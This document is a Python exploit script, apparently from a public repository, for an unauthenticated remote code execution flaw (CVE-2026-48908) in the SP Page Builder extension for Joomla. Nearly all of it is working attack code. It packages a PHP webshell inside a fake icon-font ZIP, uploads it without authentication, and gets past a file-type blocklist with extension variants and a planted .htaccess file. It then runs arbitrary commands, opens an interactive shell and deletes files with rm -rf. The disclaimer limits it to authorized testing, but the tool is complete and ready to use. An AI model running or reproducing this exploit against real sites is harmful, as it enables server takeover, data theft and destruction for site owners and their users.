README.md
Rendering markdown...
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
sppb_rce.py — CVE-2026-48908 SP Page Builder (Joomla) unauthenticated RCE
Copyright (c) 2026 Christos Papageorgiou — MIT License (see LICENSE)
Component : com_sppagebuilder (SP Page Builder by JoomShaper) <= 6.6.1 (fixed 6.6.2)
Vector : index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
- unauthenticated, no CSRF token
- takes an "icon-font" ZIP (field: custom_icon) and extracts it to the webroot:
/media/com_sppagebuilder/assets/iconfont/<name>/ (incl. fonts/, served publicly)
Adaptive upload — tries methods in order, stops at the first that EXECUTES:
1. plain fonts/<shell>.php -> SPPB builds with NO file-type filter
2. fonts/.htaccess + fonts/<shell>.PHP -> builds with a case-sensitive blocklist
(uppercase .PHP slips the blocklist; the dropped .htaccess registers .PHP as PHP —
requires the server to allow AllowOverride + PHP execution in /media)
A file that uploads but does not execute (AllowOverride None / PHP disabled in upload dir)
is reported as file-write-without-RCE, and the next method is tried.
USAGE
python3 sppb_rce.py https://target.example # check + prove RCE (runs `id`)
python3 sppb_rce.py --url target.example -c "uname -a"
python3 sppb_rce.py https://target.example --shell # interactive pseudo-shell
python3 sppb_rce.py https://target.example --cleanup # delete the uploaded payload dir
AUTHORIZED USE ONLY. For sanctioned penetration tests / CTF / lab targets.
You are solely responsible for how you use this tool — see the DISCLAIMER in README.md.
"""
import argparse
import io
import json
import random
import string
import sys
import zipfile
try:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
sys.exit("[-] missing dependency: pip install -r requirements.txt (needs 'requests')")
UA = "Mozilla/5.0 (X11; Linux x86_64) sppb-rce-poc"
TASK = "index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon"
ICONBASE = "media/com_sppagebuilder/assets/iconfont"
HTACCESS = b"AddType application/x-httpd-php .PHP\n"
def rnd(n=8):
return "".join(random.choice(string.ascii_lowercase) for _ in range(n))
def normalize(url):
url = url.strip()
if not url.startswith(("http://", "https://")):
url = "https://" + url
return url.rstrip("/")
def build_zip(name, shell_rel, token, extra_files):
"""Valid icon-font package + a token-guarded shell at shell_rel (+ optional extra files)."""
shell = ('<?php if(($_GET["t"]??"")==="%s"){@system($_GET["c"]??"id");} '
'else {http_response_code(404);} ?>' % token).encode()
selection = json.dumps({
"IcoMoonType": "selection", "icons": [],
"metadata": {"name": name},
"preferences": {"fontPref": {"prefix": "ico-", "metadata": {"fontFamily": name}}},
}).encode()
buf = io.BytesIO()
z = zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED)
z.writestr("selection.json", selection)
z.writestr("style.css", b".ico-x:before{content:'x';}")
z.writestr("fonts/%s.ttf" % name, b"FONT")
for path, data in extra_files.items():
z.writestr(path, data)
z.writestr(shell_rel, shell)
z.close()
return buf.getvalue()
def upload(sess, base, zip_bytes, name):
"""POST the ZIP unauthenticated. Returns iconfont dir, 'PATCHED', or None."""
files = {"custom_icon": ("%s.zip" % name, zip_bytes, "application/zip")}
try:
r = sess.post("%s/%s" % (base, TASK), files=files, verify=False, timeout=30)
except requests.RequestException as e:
print("(request error: %s)" % e, end=" ")
return None
if "You require admin access" in r.text:
return "PATCHED"
try:
data = r.json()
except ValueError:
return None
if not data.get("status"):
return None # filter rejected this file
css = data.get("data", {}).get("css_path", "")
return css.rsplit("/", 1)[0] if css else "%s/%s" % (ICONBASE, name)
def run(sess, base, shell_path, token, cmd):
r = sess.get("%s/%s" % (base, shell_path), params={"t": token, "c": cmd}, verify=False, timeout=30)
return r.status_code, r.text
# php-executable extensions to try directly (no .htaccess), least footprint first;
# then the .htaccess fallback that forces a (case-bypassed) .PHP to run.
DIRECT_EXTS = ["php", "php3", "php4", "php5", "php7", "pht", "phtml", "phar", "PHP", "pHp", "Php"]
def try_methods(sess, base, token):
"""Try each method until one EXECUTES. Returns (result, shell_path, label, created) where
result is 'PATCHED' | iconfont_dir (success) | None (fail; shell_path=last write-only dir)."""
methods = [(".%s" % e, e, {}) for e in DIRECT_EXTS]
methods.append((".htaccess+.PHP", "PHP", {"fonts/.htaccess": HTACCESS}))
created, leftover = [], None
for label, ext, extra in methods:
name, shell = "ico" + rnd(6), "f" + rnd(6)
shell_rel = "fonts/%s.%s" % (shell, ext)
print("[*] try %-15s " % label, end="")
iconfont_dir = upload(sess, base, build_zip(name, shell_rel, token, extra), name)
if iconfont_dir == "PATCHED":
print("-> 403 'require admin' = patched")
return ("PATCHED", None, None, created)
if not iconfont_dir:
print("-> rejected by filter")
continue
created.append(iconfont_dir)
shell_path = "%s/fonts/%s.%s" % (iconfont_dir, shell, ext)
code, out = run(sess, base, shell_path, token, "echo SPPB-RCE-$((7*6))")
if code == 200 and "SPPB-RCE-42" in out:
print("-> EXECUTED")
return (iconfont_dir, shell_path, label, created)
print("-> uploaded, not executed")
leftover = iconfont_dir
return (None, leftover, None, created)
def main():
ap = argparse.ArgumentParser(
description="CVE-2026-48908 SP Page Builder unauthenticated RCE (authorized testing only)")
ap.add_argument("url", nargs="?", help="target, e.g. https://target.example")
ap.add_argument("--url", dest="url_opt", help="target (alternative to positional)")
ap.add_argument("-c", "--cmd", default="id", help="command to execute (default: id)")
ap.add_argument("--shell", action="store_true", help="interactive pseudo-shell")
ap.add_argument("--check", action="store_true", help="only confirm the vuln, run no command")
ap.add_argument("--cleanup", action="store_true",
help="after exploiting, delete the uploaded payload directory")
ap.add_argument("--token", default=rnd(16), help="secret guarding the dropped shell")
args = ap.parse_args()
target = args.url or args.url_opt
if not target:
ap.error("provide a target URL (positional or --url)")
base = normalize(target)
sess = requests.Session()
sess.headers["User-Agent"] = UA
print("[*] target : %s" % base)
print("[*] endpoint : %s" % TASK)
iconfont_dir, shell_path, method, created = try_methods(sess, base, args.token)
if iconfont_dir == "PATCHED":
print("[-] TARGET NOT VULNERABLE — SP Page Builder is patched (6.6.2+); "
"the upload task now requires authenticated admin access.")
sys.exit(1)
if iconfont_dir is None:
if shell_path: # file-write worked, no exec
print("[~] PARTIALLY VULNERABLE — unauth file-write works, but PHP did NOT execute "
"(AllowOverride None / PHP disabled in /media). Not RCE on this config.")
for d in created:
print(" artifact left: /%s/" % d)
sys.exit(3)
print("[-] TARGET NOT VULNERABLE — every upload was rejected, or SP Page Builder is "
"absent/patched on this host.")
sys.exit(2)
shell_url = "%s/%s" % (base, shell_path)
print("[+] CODE EXECUTION CONFIRMED via '%s' (echo 7*6 -> 42)" % method)
print("[+] webshell : %s?t=%s&c=<cmd>" % (shell_url, args.token))
if args.check:
pass
elif args.shell:
print("[*] interactive shell — type commands, 'exit' to quit")
while True:
try:
cmd = input("www-data$ ")
except (EOFError, KeyboardInterrupt):
print(); break
if cmd.strip() in ("exit", "quit"):
break
if not cmd.strip():
continue
_, out = run(sess, base, shell_path, args.token, cmd)
sys.stdout.write(out if out.endswith("\n") else out + "\n")
else:
print("[*] running: %s" % args.cmd)
_, out = run(sess, base, shell_path, args.token, args.cmd)
print("-" * 60)
sys.stdout.write(out if out.endswith("\n") else out + "\n")
print("-" * 60)
if args.cleanup:
# remove every iconfont dir we created (success + any write-only leftovers from earlier tries)
names = " ".join(d.rsplit("/", 1)[-1] for d in created)
rmcmd = ('B="$(dirname "$(dirname "$(pwd)")")"; for d in %s; do rm -rf "$B/$d"; done; '
'echo CLEANED' % names)
_, out = run(sess, base, shell_path, args.token, rmcmd)
print("[*] cleanup: %s (%d dir%s)" % ("done" if "CLEANED" in out else "manual rm needed",
len(created), "" if len(created) == 1 else "s"))
else:
print("[!] %d artifact dir(s) left (re-run with --cleanup): %s"
% (len(created), ", ".join("/" + d for d in created)))
if __name__ == "__main__":
main()